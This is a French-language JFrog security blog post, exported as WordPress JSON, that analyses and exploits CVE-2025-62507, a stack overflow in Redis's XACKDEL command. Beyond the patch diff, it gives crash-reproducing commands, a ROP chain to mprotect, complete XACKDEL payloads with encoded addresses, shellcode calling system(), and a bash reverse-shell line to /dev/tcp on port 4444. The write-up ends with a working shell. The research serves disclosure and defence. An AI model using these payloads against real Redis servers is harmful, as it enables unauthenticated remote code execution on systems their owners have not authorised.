{"id":174571,"date":"2026-09-16T09:11:07","date_gmt":"2026-09-16T07:11:07","guid":{"rendered":"https:\/\/jfrog.com\/blog\/analyse-et-exploitation-de-la-cve-2025-62507-execution-de-code-a-distance-dans-redis\/"},"modified":"2026-09-16T12:29:01","modified_gmt":"2026-09-16T10:29:01","slug":"exploiting-remote-code-execution-in-redis","status":"publish","type":"post","link":"https:\/\/jfrog.com\/fr\/blog\/exploiting-remote-code-execution-in-redis\/","title":{"rendered":"Analyse et exploitation de la CVE-2025-62507\u00a0: ex\u00e9cution de code \u00e0 distance dans Redis"},"content":{"rendered":"<p>Redis_Vulnerability_863x300<img decoding=\"async\" class=\"alignnone size-full wp-image-162044\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/14123931\/Redis_Vulnerability_863x300.png\" alt=\"Redis_Vulnerability_863x300\" width=\"863\" height=\"300\" \/><\/p>\n<p>Une vuln\u00e9rabilit\u00e9 r\u00e9cente de type d\u00e9bordement de tampon sur la pile dans Redis, r\u00e9f\u00e9renc\u00e9e sous le num\u00e9ro CVE-2025-62507, a \u00e9t\u00e9 corrig\u00e9e dans la version\u00a08.3.2. Le probl\u00e8me a \u00e9t\u00e9 publi\u00e9 avec un niveau de gravit\u00e9 \u00e9lev\u00e9 et a re\u00e7u un score CVSS\u00a0v3 de 8.8.<\/p>\n<p>Selon l\u2019avis de s\u00e9curit\u00e9 officiel, \u00ab\u00a0un utilisateur peut ex\u00e9cuter la commande XACKDEL avec plusieurs identifiants et d\u00e9clencher un d\u00e9bordement de tampon sur la pile, ce qui peut <strong>potentiellement conduire<\/strong> \u00e0 une ex\u00e9cution de code \u00e0 distance\u00a0\u00bb.<\/p>\n<p>Les vuln\u00e9rabilit\u00e9s de corruption de m\u00e9moire sont devenues beaucoup plus difficiles \u00e0 exploiter en raison des nombreux m\u00e9canismes de s\u00e9curit\u00e9 mis en place au fil des ann\u00e9es, mais, historiquement, elles permettaient facilement d\u2019aboutir directement \u00e0 une ex\u00e9cution de code \u00e0 distance.<\/p>\n<p>\u00c9tant donn\u00e9 que la vuln\u00e9rabilit\u00e9 avait re\u00e7u un niveau de gravit\u00e9 \u00e9lev\u00e9, sans toutefois \u00eatre class\u00e9e comme critique (en raison de l\u2019affirmation selon laquelle son exploitation n\u00e9cessitait une authentification, indiqu\u00e9e par le crit\u00e8re \u00ab\u00a0Privil\u00e8ges requis\u00a0\u00bb), l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog a d\u00e9cid\u00e9 d\u2019\u00e9tudier le probl\u00e8me plus en d\u00e9tail et d\u2019\u00e9valuer s\u2019il \u00e9tait toujours facile d\u2019obtenir une ex\u00e9cution de code \u00e0 distance en 2026.<\/p>\n<p>Au moment de la r\u00e9daction de cet article, aucune preuve de concept publique, aucun code d\u2019exploitation permettant une ex\u00e9cution de code \u00e0 distance et aucune analyse technique approfondie n\u2019\u00e9taient disponibles. Nous avons donc entrepris d\u2019\u00e9valuer l\u2019exploitabilit\u00e9 r\u00e9elle de la CVE-2025-62507.<\/p>\n<p>Dans cet article de blog, nous pr\u00e9sentons une exploitation r\u00e9ussie de cette vuln\u00e9rabilit\u00e9 et examinons les \u00e9tapes suppl\u00e9mentaires n\u00e9cessaires pour la transformer en code d\u2019exploitation enti\u00e8rement op\u00e9rationnel.<\/p>\n<h2>Qu\u2019est-ce qui a caus\u00e9 la CVE-2025-62507\u00a0?<\/h2>\n<p>Redis (Remote Dictionary Server) est un syst\u00e8me open source de stockage de structures de donn\u00e9es en m\u00e9moire, largement utilis\u00e9 comme base de donn\u00e9es ainsi que comme courtier de messages gr\u00e2ce \u00e0 sa fonctionnalit\u00e9 Streams.<\/p>\n<p>Redis Streams permet de mettre en \u0153uvre des files de messages et des pipelines d\u2019\u00e9v\u00e9nements. Les messages sont ajout\u00e9s \u00e0 un flux, transmis aux consommateurs appartenant \u00e0 un groupe de consommateurs, puis suivis dans une structure interne appel\u00e9e Pending Entries List (PEL), jusqu\u2019\u00e0 ce que leur traitement soit confirm\u00e9. Ce suivi permet \u00e0 Redis de garantir une livraison fiable, mais exige \u00e9galement un nettoyage soigneux des r\u00e9f\u00e9rences aux messages une fois leur traitement termin\u00e9.<\/p>\n<p>La vuln\u00e9rabilit\u00e9 est d\u00e9clench\u00e9e lors de l\u2019utilisation de la nouvelle commande XACKDEL de Redis\u00a08.2, introduite afin de simplifier et d\u2019optimiser le nettoyage des flux. XACKDEL regroupe dans une seule op\u00e9ration atomique la confirmation du traitement des messages (comme XACK) et leur suppression d\u2019un flux (comme XDEL).<\/p>\n<p>XACKDEL offre un contr\u00f4le plus pr\u00e9cis du cycle de vie des messages, en particulier gr\u00e2ce \u00e0 des options telles que KEEPREF, DELREF et ACKED, qui d\u00e9terminent la mani\u00e8re dont les r\u00e9f\u00e9rences de la Pending Entries List sont g\u00e9r\u00e9es et si les m\u00e9tadonn\u00e9es des messages sont int\u00e9gralement supprim\u00e9es. Cette conception r\u00e9duit la charge li\u00e9e \u00e0 la tenue des informations de suivi et \u00e9vite d\u2019avoir \u00e0 effectuer des appels distincts \u00e0 XACK et XDEL dans les sc\u00e9narios de traitement de flux \u00e0 haut d\u00e9bit.<\/p>\n<p>Cependant, la complexit\u00e9 interne n\u00e9cessaire \u00e0 l\u2019analyse et \u00e0 la gestion de plusieurs identifiants de message au sein d\u2019une m\u00eame commande a fini par provoquer la CVE-2025-62507<\/p>\n<h1>Analyse technique de la CVE-2025-62507<\/h1>\n<p>En examinant <a href=\"https:\/\/github.com\/redis\/redis\/commit\/5f83972188f6e5b1d6f1940218c650a9cbdf7741\">le commit<\/a> qui a corrig\u00e9 la CVE-2025-62507, le probl\u00e8me sous-jacent devient imm\u00e9diatement \u00e9vident. La vuln\u00e9rabilit\u00e9 r\u00e9side dans l\u2019impl\u00e9mentation de la fonction <code>xackdelCommand<\/code>, qui est charg\u00e9e d\u2019analyser et de traiter la liste des identifiants de flux fournis par l\u2019utilisateur.<\/p>\n<pre class=\"cpp\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code> \ndiff --git a\/src\/t_stream.c b\/src\/t_stream.c\nindex d721780a6..3ef48943f 100644\n--- a\/src\/t_stream.c\n+++ b\/src\/t_stream.c\n@@ -3215,6 +3215,8 @@ void xackdelCommand(client *c) {\n      * executed in a &quot;all or nothing&quot; fashion. *\/\n     streamID static_ids[STREAMID_STATIC_VECTOR_LEN];\n     streamID *ids = static_ids;\n+    if (args.numids &gt; STREAMID_STATIC_VECTOR_LEN)\n+        ids = zmalloc(sizeof(streamID)*args.numids);\n     for (int j = 0; j &lt; args.numids; j++) { if (streamParseStrictIDOrReply(c,c-&gt;argv[j+args.startidx],&amp;ids[j],0,NULL) != C_OK)\n             goto cleanup;\n\n<\/code><\/pre>\n<p>XACKDEL accepte un nombre variable d\u2019ID de messages. Pour les traiter efficacement, la fonction analyse chaque ID fourni par l\u2019utilisateur et le stocke dans un <strong>tableau de taille fixe (<code>static_ids<\/code>) allou\u00e9 sur la pile<\/strong>. Chaque ID de flux analys\u00e9 est repr\u00e9sent\u00e9 en interne sous la forme d\u2019une structure <code>streamID<\/code> compos\u00e9e de deux entiers de 64 bits.<\/p>\n<p><strong>Le probl\u00e8me principal est que le code ne v\u00e9rifie pas que le nombre d\u2019ID fournis par le client respecte les limites de ce tableau allou\u00e9 sur la pile.<\/strong> Par cons\u00e9quent, lorsque davantage d\u2019ID sont fournis que le tableau ne peut en contenir, la fonction continue d\u2019\u00e9crire au-del\u00e0 de la fin du tampon.<\/p>\n<p>Cela entra\u00eene un d\u00e9passement de tampon classique bas\u00e9 sur la pile.<\/p>\n<p>\u00c9tant donn\u00e9 que les ID de flux analys\u00e9s sont enti\u00e8rement contr\u00f4l\u00e9s par l\u2019attaquant, le d\u00e9passement ne se contente pas de corrompre des donn\u00e9es adjacentes\u00a0; il permet \u00e0 un attaquant d\u2019\u00e9craser le contenu sensible de la pile, y compris les registres sauvegard\u00e9s et l\u2019adresse de retour de la fonction. La structure des ID de flux, qui sont analys\u00e9s comme deux valeurs num\u00e9riques ind\u00e9pendantes, permet de contr\u00f4ler avec pr\u00e9cision la m\u00e9moire \u00e9cras\u00e9e et d\u2019obtenir une ex\u00e9cution de code \u00e0 distance.<\/p>\n<p>Dans les versions affect\u00e9es, <strong>cette condition peut \u00eatre d\u00e9clench\u00e9e \u00e0 distance dans la configuration Redis par d\u00e9faut<\/strong> en envoyant simplement une seule commande XACKDEL contenant un nombre suffisamment \u00e9lev\u00e9 d\u2019ID de messages. Il est \u00e9galement important de noter que, par d\u00e9faut, Redis n\u2019impose aucune authentification, ce qui en fait une ex\u00e9cution de code \u00e0 distance non authentifi\u00e9e.<\/p>\n<h1>Exploitation de la CVE-2025-62507<\/h1>\n<p>Le commit apportant le correctif comprend un <a href=\"https:\/\/github.com\/redis\/redis\/commit\/5f83972188f6e5b1d6f1940218c650a9cbdf7741#diff-4c5f2c034539b46fa4bebee128f4409782f376d5f419ce96a6728fdc10fbd900R1662\">test de r\u00e9gression<\/a> ajout\u00e9 par les responsables de Redis afin de v\u00e9rifier que cette vuln\u00e9rabilit\u00e9 ne peut plus \u00eatre d\u00e9clench\u00e9e. Le test ex\u00e9cute d\u2019abord une commande <code>XGROUP CREATE<\/code>, suivie d\u2019une commande <code>XACKDEL<\/code> contenant 50\u00a0identifiants de message.<\/p>\n<pre class=\"cpp\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code> \ndiff --git a\/tests\/unit\/type\/stream-cgroups.tcl b\/tests\/unit\/type\/stream-cgroups.tcl\nindex 05c56074e..a5265056c 100644\n--- a\/tests\/unit\/type\/stream-cgroups.tcl\n+++ b\/tests\/unit\/type\/stream-cgroups.tcl\n@@ -1658,5 +1658,20 @@ start_server {\n             assert_equal [dict get $group lag] 0\n             assert_equal [dict get $group entries-read] 1\n         }\n+\n+        test &quot;XACKDEL with IDs exceeding STREAMID_STATIC_VECTOR_LEN for heap allocation&quot; {\n+            r DEL mystream\n+            r XGROUP CREATE mystream mygroup $ MKSTREAM\n+\n+            # Generate IDs exceeding STREAMID_STATIC_VECTOR_LEN (8) to force heap allocation\n+            # instead of using the static vector cache, ensuring proper memory allocation.\n+            set ids {}\n+            for {set i 0} {$i &lt; 50} {incr i} {\n+                lappend ids &quot;$i-1&quot;\n+            }\n+            set result [r XACKDEL mystream mygroup IDS 50 {*}$ids]\n+            assert {[llength $result] == 50}\n+            r PING\n+        }\n     }\n }\n\n<\/code><\/pre>\n<p>Ce cas de test met clairement en \u00e9vidence le chemin de code vuln\u00e9rable ainsi que la s\u00e9quence minimale de commandes n\u00e9cessaire pour l\u2019atteindre, ce qui constitue un point de d\u00e9part naturel pour son exploitation.<\/p>\n<p>Pour tester la vuln\u00e9rabilit\u00e9, nous pouvons lancer un serveur Redis simple \u00e0 l\u2019aide de <a href=\"https:\/\/hub.docker.com\/_\/redis\">l\u2019image Docker officielle de Redis<\/a>\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nsudo docker run --name my-redis -p 6379:6379 --rm redis:8.2.1\n\n<\/code><\/pre>\n<p>Dans un autre shell, nous lan\u00e7ons ensuite l\u2019interface en ligne de commande de Redis\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nredis-cli\n\n<\/code><\/pre>\n<p>Dans l\u2019interface en ligne de commande, nous allons tenter d\u2019ex\u00e9cuter les m\u00eames commandes que Redis dans son test\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nDEL mystream\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 50 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1\n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1\n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1\n\n<\/code><\/pre>\n<p>Sur notre syst\u00e8me, cela n\u2019a eu aucun effet. Mais l\u2019ajout de deux identifiants suppl\u00e9mentaires a fait planter le serveur\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nDEL mystream\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 52 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1\n\n<\/code><\/pre>\n<p>JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image2<br \/>\nEn v\u00e9rifiant les journaux du serveur qui a plant\u00e9, nous avons remarqu\u00e9 des donn\u00e9es similaires \u00e0 ce qui suit au d\u00e9but du rapport de plantage\u00a0:<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-161991\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13210639\/JFrog-Exploiting-the-Redis-Vulnerability-image2.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image2\" width=\"795\" height=\"165\" \/><\/p>\n<p>Notez que le processus a tent\u00e9 d\u2019ex\u00e9cuter une instruction depuis le binaire redis-server et d\u2019acc\u00e9der \u00e0 l\u2019adresse 0x9.<\/p>\n<p>Essayons d\u2019ajouter un ID suppl\u00e9mentaire\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 53 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1 52-1\n\n<\/code><\/pre>\n<p>JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image9JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image2JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image7JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image6.png<br \/>\nExaminons maintenant une nouvelle fois le journal du plantage\u00a0:<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-161994\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211440\/JFrog-Exploiting-the-Redis-Vulnerability-image9.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image9\" width=\"799\" height=\"178\" \/><br \/>\n\u00c0 ce stade, le comportement devient int\u00e9ressant. Le processus a tent\u00e9 d\u2019effectuer un saut vers l\u2019adresse <code>0x1<\/code>. Cela soul\u00e8ve imm\u00e9diatement la question de l\u2019origine de cette valeur. La source la plus probable est le dernier identifiant de flux que nous avons ajout\u00e9 \u00e0 la liste. Pour le v\u00e9rifier, modifions le dernier identifiant en rempla\u00e7ant 52-1 par 52-2, afin de voir si le comportement du plantage change en cons\u00e9quence\u00a0:<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-161993\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211140\/JFrog-Exploiting-the-Redis-Vulnerability-image8.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image2\" width=\"788\" height=\"169\" data-wp-editing=\"1\" \/><\/p>\n<p>Le journal du plantage indique d\u00e9sormais un pointeur d\u2019instruction de <code>0x2<\/code>. \u00c0 ce stade, il est clair qu\u2019il s\u2019agit d\u2019un d\u00e9bordement de tampon classique sur la pile, qui \u00e9crase l\u2019adresse de retour de la fonction. La seconde composante num\u00e9rique du dernier identifiant de flux contr\u00f4le directement la valeur inscrite dans l\u2019emplacement r\u00e9serv\u00e9 \u00e0 l\u2019adresse de retour.<\/p>\n<p><strong>\u00c9tonnamment, ce contr\u00f4le direct de l\u2019EIP montre que Redis est compil\u00e9 sans protection par canari de pile dans l\u2019image Docker officielle\u00a0!<\/strong><\/p>\n<p>Apr\u00e8s avoir confirm\u00e9 le contr\u00f4le de l\u2019EIP, nous avons extrait le fichier binaire \u00ab\u00a0redis-server\u00a0\u00bb de l\u2019image Docker et l\u2019avons ouvert dans IDA Pro afin de l\u2019examiner de plus pr\u00e8s. Observons l\u2019organisation de la pile de la fonction <code>xackdelCommand<\/code>.<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-161997\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212700\/JFrog-Exploiting-the-Redis-Vulnerability-image7.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image7\" width=\"706\" height=\"575\" \/><\/p>\n<p>Nous pouvons constater que le tableau <code>static_ids<\/code> est situ\u00e9 \u00e0 l\u2019adresse relative <code>-0x340<\/code> et que chaque \u00e9l\u00e9ment <code>streamID<\/code> occupe 16\u00a0octets\u00a0:<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-161998\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212838\/JFrog-Exploiting-the-Redis-Vulnerability-image6.png-.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image6.png\" width=\"650\" height=\"120\" \/><\/p>\n<p>En divisant <code>0x340<\/code> par 16, on obtient 52, ce qui signifie que le 53e\u00a0identifiant \u00e9crase l\u2019adresse de retour de la fonction. Un examen plus attentif du code montre que les identifiants de flux sont analys\u00e9s sous la forme de paires de deux entiers de 64\u00a0bits s\u00e9par\u00e9s par un tiret. Ces valeurs sont \u00e9crites directement dans la structure <code>streamID<\/code>, ce qui nous permet d\u2019inscrire des valeurs arbitraires sur la pile sans aucune v\u00e9rification de limites.<\/p>\n<p>Tr\u00e8s bien, et maintenant\u00a0?<\/p>\n<p>L\u2019\u00e9tape suivante consiste \u00e0 rediriger le flux d\u2019ex\u00e9cution et \u00e0 ex\u00e9cuter du code contr\u00f4l\u00e9 par le pirate. Pour cela, nous devons transf\u00e9rer le contr\u00f4le vers une adresse m\u00e9moire pr\u00e9cise permettant l\u2019ex\u00e9cution de code. Dans la pratique, cette op\u00e9ration est compliqu\u00e9e par l\u2019Address Space Layout Randomization (ASLR), ou randomisation de la disposition de l\u2019espace d\u2019adressage, qui modifie al\u00e9atoirement les adresses m\u00e9moire \u00e0 chaque d\u00e9marrage du processus.<\/p>\n<p>Dans une attaque r\u00e9elle, cette vuln\u00e9rabilit\u00e9 serait g\u00e9n\u00e9ralement associ\u00e9e \u00e0 une faille de divulgation d\u2019informations provoquant une fuite d\u2019adresses m\u00e9moire, ce qui permettrait au pirate de contourner l\u2019ASLR. Toutefois, pour les besoins de cette preuve de concept, nous d\u00e9sactivons l\u2019ASLR sur notre syst\u00e8me de test afin de rendre les adresses m\u00e9moire pr\u00e9visibles et de nous concentrer uniquement sur la d\u00e9monstration de l\u2019exploitabilit\u00e9\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\necho 0 &gt; \/proc\/sys\/kernel\/randomize_va_space\n\n<\/code><\/pre>\n<p>JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image4<br \/>\nEn temps normal, nous devrions \u00e9galement contourner la protection par canari de pile (l\u00e0 encore, \u00e0 l\u2019aide d\u2019une faille de divulgation d\u2019informations), mais, comme indiqu\u00e9 pr\u00e9c\u00e9demment, le fichier binaire inclus dans l\u2019image Docker a \u00e9t\u00e9 compil\u00e9 sans cette protection. Nous l\u2019avons \u00e9galement confirm\u00e9 en examinant directement le fichier binaire. Comme vous pouvez le constater, l\u2019\u00e9pilogue de la fonction n\u2019effectue aucune v\u00e9rification avant le retour.<\/p>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-162000\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13213736\/JFrog-Exploiting-the-Redis-Vulnerability-image4.png\" alt=\"JFrog - Exploiting the Redis Vulnerability - image4\" width=\"1389\" height=\"539\" \/><\/p>\n<p>Nous avons compar\u00e9 le fichier binaire de l\u2019image Docker \u00e0 celui install\u00e9 sur notre machine h\u00f4te (Redis version\u00a07.0.15, install\u00e9 \u00e0 l\u2019aide du gestionnaire de paquets d\u2019Ubuntu). Fait int\u00e9ressant, celui de la machine h\u00f4te dispose bien de la protection par canari de pile.<\/p>\n<p>Comme toujours, un autre m\u00e9canisme de s\u00e9curit\u00e9 doit \u00eatre contourn\u00e9 pour exploiter cette vuln\u00e9rabilit\u00e9 avec succ\u00e8s\u00a0: la protection NX (No-eXecute). Celle-ci emp\u00eache l\u2019ex\u00e9cution de certaines r\u00e9gions de la m\u00e9moire, telles que la pile, en les marquant comme non ex\u00e9cutables.<\/p>\n<p>Pour contourner la protection NX, nous construisons une cha\u00eene de programmation orient\u00e9e retour (Return-Oriented Programming, ROP) \u00e0 l\u2019aide de s\u00e9quences d\u2019instructions existantes, appel\u00e9es gadgets, trouv\u00e9es dans le fichier binaire. Au lieu d\u2019ex\u00e9cuter directement du code depuis la pile, la cha\u00eene ROP appelle des fonctions l\u00e9gitimes afin de modifier les autorisations de la m\u00e9moire.<\/p>\n<p>Dans notre cas, l\u2019objectif est de rendre la pile ex\u00e9cutable en appelant la fonction <code>mprotect<\/code> avec des arguments contr\u00f4l\u00e9s\u00a0: l\u2019adresse m\u00e9moire cible, la taille de la r\u00e9gion m\u00e9moire et les indicateurs de protection souhait\u00e9s. Les journaux de plantage nous ont permis de constater que le pointeur de pile (RSP) pointait vers l\u2019adresse <code>0x7fffffffe7d0<\/code>. Sur cette base, nous alignons l\u2019adresse cible sur le d\u00e9but de la page m\u00e9moire situ\u00e9e \u00e0 l\u2019adresse <code>0x7fffffffe000<\/code>, demandons une taille de <code>0x20000<\/code>\u00a0octets et d\u00e9finissons les autorisations de lecture, d\u2019\u00e9criture et d\u2019ex\u00e9cution.<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nmprotect(0x7fffffffe000, 0x20000, PROT_READ | PROR_WRITE | PROT_EXEC)\n\n<\/code><\/pre>\n<p>&lt;code&gt;<br \/>\nPour appeler <code>mprotect<\/code>, nous r\u00e9utilisons du code d\u00e9j\u00e0 pr\u00e9sent dans l\u2019espace d\u2019adressage du processus, plus pr\u00e9cis\u00e9ment l\u2019impl\u00e9mentation de <code>mprotect<\/code> dans la biblioth\u00e8que <code>libc<\/code>. Cette approche est une forme de ret2libc, dans laquelle l\u2019ex\u00e9cution est redirig\u00e9e vers une fonction de biblioth\u00e8que fiable plut\u00f4t que vers un shellcode inject\u00e9.<\/p>\n<p>Pour cela, nous construisons une cha\u00eene ROP compos\u00e9e de gadgets simples trouv\u00e9s dans le fichier binaire redis-server. Nous avons notamment besoin de gadgets chargeant des valeurs dans les registres <code>rdi, rsi<\/code> et <code>rdx<\/code>, qui correspondent aux trois premiers arguments de <code>mprotect<\/code>. Chaque gadget doit se terminer par une instruction <code>RET<\/code>, afin que l\u2019ex\u00e9cution puisse progresser de mani\u00e8re contr\u00f4l\u00e9e \u00e0 travers la cha\u00eene.<\/p>\n<p>Une fois les arguments d\u00e9finis, l\u2019ex\u00e9cution revient dans <code>mprotect<\/code>, qui modifie les autorisations de la m\u00e9moire occup\u00e9e par la pile. Le contr\u00f4le peut alors \u00eatre transf\u00e9r\u00e9 vers des donn\u00e9es contr\u00f4l\u00e9es par l&#8217;attaquant et plac\u00e9es sur la pile, achevant ainsi la transformation d\u2019un bogue de corruption de m\u00e9moire en ex\u00e9cution de code arbitraire.<\/p>\n<p>Tous ces gadgets ont \u00e9t\u00e9 facilement trouv\u00e9s dans le fichier binaire redis-server.<\/p>\n<p>Apr\u00e8s avoir appel\u00e9 <code>mprotect<\/code> avec succ\u00e8s et rendu la pile ex\u00e9cutable, la derni\u00e8re \u00e9tape consiste \u00e0 transf\u00e9rer l\u2019ex\u00e9cution vers du code contr\u00f4l\u00e9 par le pirate. Pour cela, nous utilisons un gadget <code>CALL rsp<\/code>, lui aussi facilement localis\u00e9 dans le fichier binaire redis-server. Ce gadget redirige l\u2019ex\u00e9cution vers le pointeur de pile actuel, o\u00f9 se trouve notre charge utile.<\/p>\n<p>\u00c0 ce stade, la pile doit \u00eatre soigneusement pr\u00e9par\u00e9e afin qu\u2019apr\u00e8s le retour de <code>mprotect<\/code>, l\u2019ex\u00e9cution parcoure la cha\u00eene ROP, puis passe directement \u00e0 notre code. L\u2019organisation de la pile comprend donc les gadgets ROP utilis\u00e9s pour configurer et appeler <code>mprotect<\/code>, imm\u00e9diatement suivis de la charge utile.<\/p>\n<p>La pile pr\u00e9par\u00e9e est organis\u00e9e comme suit\u00a0:<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-162002\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13215959\/JFrog-Redis-Vulnerability-image10.png\" alt=\"&lt;code&gt;\" width=\"706\" height=\"236\" \/><\/p>\n<p>Comme charge utile de test simple, nous pla\u00e7ons une unique instruction <code>JMP 0x0<\/code> dans le dernier emplacement. Le serveur Redis entre alors dans une boucle infinie, ce qui permet d\u2019obtenir tous les r\u00e9sultats d\u00e9crits jusqu\u2019ici.<\/p>\n<p>Charge utile compl\u00e8te\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 57 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-93824992764711 140737488347136-93824992781334 131072-93824994830866 7-140737344395808 93824993018745-65259\n\n<\/code><\/pre>\n<p>\u00c0 partir de l\u00e0, il est tr\u00e8s facile de remplacer le shellcode par du code ex\u00e9cutant une commande syst\u00e8me et ouvrant un shell invers\u00e9. Nous avons cr\u00e9\u00e9 un shellcode simple appelant la fonction system afin d\u2019\u00e9tablir un shell invers\u00e9, puis de rester bloqu\u00e9 dans une boucle infinie. Nous avons d\u00e9termin\u00e9 que la fonction system se trouvait \u00e0 l\u2019adresse <code>0x7FFFF7600490<\/code>. Nous avons donc compil\u00e9 le shellcode suivant\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nlea rdi, [rip+data]\nmov rax, 0x7FFFF7600490  # system\ncall rax\nloop:\njmp loop\ndata:\n\n<\/code><\/pre>\n<p>\u00c0 la fin de notre shellcode, nous avons ajout\u00e9 la commande que nous voulons ex\u00e9cuter\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\n\/bin\/bash -c '\/bin\/bash -i &gt;&amp; \/dev\/tcp\/172.17.0.1\/4444 0&gt;&amp;1'\n\n<\/code><\/pre>\n<p>Cette commande lance un shell bash, qui lance \u00e0 son tour un autre shell bash redirigeant sa sortie vers le port\u00a04444 de l\u2019adresse\u00a0IP\u00a0172.17.0.1, qui correspond \u00e0 l\u2019adresse\u00a0IP de la machine h\u00f4te Docker. Nous avons encapsul\u00e9 bash dans un autre processus bash, car la fonction system utilise le shell par d\u00e9faut \/bin\/sh, qui pointe vers dash, et celui-ci ne parvenait pas \u00e0 cr\u00e9er correctement le shell invers\u00e9. Nous avons donc choisi de forcer l\u2019analyse de la commande par bash.<\/p>\n<p>Sur la machine h\u00f4te, nous avons lanc\u00e9 netcat en \u00e9coute sur le port\u00a04444. Nous avons ensuite envoy\u00e9 la charge utile\u00a0:<\/p>\n<pre class=\"bash\" style=\"background-color: white; padding: 0px 10px 0px 10px;\"><code>\nXGROUP CREATE mystream mygroup $ MKSTREAM\nXACKDEL mystream mygroup IDS 62 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \n1-93824992764711 140737488347136-93824992781334 131072-93824994830866 \n7-140737344395808 93824993018745-5188146770969726280 \n36028759975170232-7593684693624618752 3251713775725850478-3417785037639589987 \n2335447498982908258-3420032447996241470 3328783758969037684-3760278288324245297 \n3541586533393118260-39\n\n<\/code><\/pre>\n<p>JFrog &#8211; Exploitation de la vuln\u00e9rabilit\u00e9 Redis &#8211; image1<br \/>\nEt nous avons obtenu le shell invers\u00e9\u00a0!<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-162005\" 